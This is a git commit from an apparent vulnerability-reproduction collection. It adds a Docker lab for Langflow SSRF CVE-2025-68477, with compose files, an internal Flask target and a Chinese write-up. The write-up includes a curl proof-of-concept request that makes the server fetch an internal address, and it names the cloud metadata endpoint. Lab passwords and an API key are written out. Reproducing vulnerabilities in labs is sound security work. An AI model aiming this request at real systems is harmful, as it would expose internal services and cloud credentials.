This commit is contained in:
Threekiii committed 2026-01-21 16:22:08 +08:00
1 parent 2cdaaed287
commit c98256c402
8 files changed
+112

No files matched your search

@@ -0,0 +1,25 @@
networks:
ssrf-net:
driver: bridge
ipam:
config:
- subnet: 172.18.0.0/16
services:
langflow:
build: ./langflow
container_name: langflow
ports:
- "7860:7860"
networks:
ssrf-net:
ipv4_address: 172.18.0.2
internal-api:
build: ./internal-api
container_name: internal-api
expose:
- "8000"
networks:
ssrf-net:
ipv4_address: 172.18.0.3
@@ -0,0 +1,8 @@
FROM python:3.11-slim
WORKDIR /app
RUN pip install flask
COPY app.py .
CMD ["python", "app.py"]
@@ -0,0 +1,9 @@
from flask import Flask, jsonify
app = Flask(__name__)
@app.get("/internal")
def internal_root():
return jsonify({"message":"ssrf ok !!"}), 200
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
@@ -0,0 +1,21 @@
FROM python:3.12-slim
LABEL maintainer="threekiii <[email protected]>"
WORKDIR /usr/src
RUN set -ex \
&& pip install --no-cache-dir uv \
&& uv venv \
&& uv pip install --no-cache-dir langflow==1.6.9
ENV LANGFLOW_HOST=0.0.0.0 \
LANGFLOW_PORT=7860 \
LANGFLOW_AUTO_LOGIN=false \
LANGFLOW_SUPERUSER=administrator \
LANGFLOW_SUPERUSER_PASSWORD=Passw0rd1@3 \
DO_NOT_TRACK=true
EXPOSE 7860
CMD ["uv", "run", "langflow", "run", "--host", "0.0.0.0", "--port", "7860"]
@@ -0,0 +1,49 @@
# Langflow 服务器端请求伪造漏洞 CVE-2025-68477
## 漏洞描述
Langflow 的 API Request 组件在接收用户输入(来自工作流配置或运行时参数)的 URL 后,仅进行格式校验与协议标准化,而未对目标地址实施任何网络边界检查(如阻止对本地回环地址 127.0.0.1、私有 IP 段 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16 或云元数据地址 169.254.169.254 的访问)。由于执行工作流的接口仅需有效的 API 密钥即可调用,因此攻击者可通过构造包含恶意 URL 的工作流参数,使服务器端的 httpx 客户端代理其发起请求,并将完整的响应内容(包括响应体)返回给攻击者,从而实现非盲的服务器端请求伪造,导致信息泄露。
## 漏洞影响
```
Langflow < 1.7.1
```
## 环境搭建
参考 [环境配置](https://github.com/Threekiii/Awesome-POC/) ,启动一个 Langflow 1.6.9-ssrf 服务:
```
docker-compose up -d
```
服务启动后,访问 `https://your-ip:7860` 即可查看到 Langflow 主页,通过账号密码 `administrator/Passw0rd1@3` 登录后台。
## 漏洞复现
```
curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/af515f8c-9324-465e-b8d1-df47633a5eda' \
-H 'Content-Type: application/json' \
-H 'x-api-key: sk-2VQ_XsHPY2KIpXxGBmnNYFbANjgs0yTL6DV0TIWyjn4' \
--data-raw '{
"inputs":[
{
"components":["Chat Input"],
"input_value":"test"
}
],
"outputs":["Chat Output"],
"tweaks":{
"API Request":{
"url_input":"http://172.18.0.3:8000/internal",
"include_httpx_metadata":false
}
},
"stream":false
}' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n"; "") | sub("\\n```$"; "") | fromjson | .result'
```
## 漏洞 POC
## 漏洞修复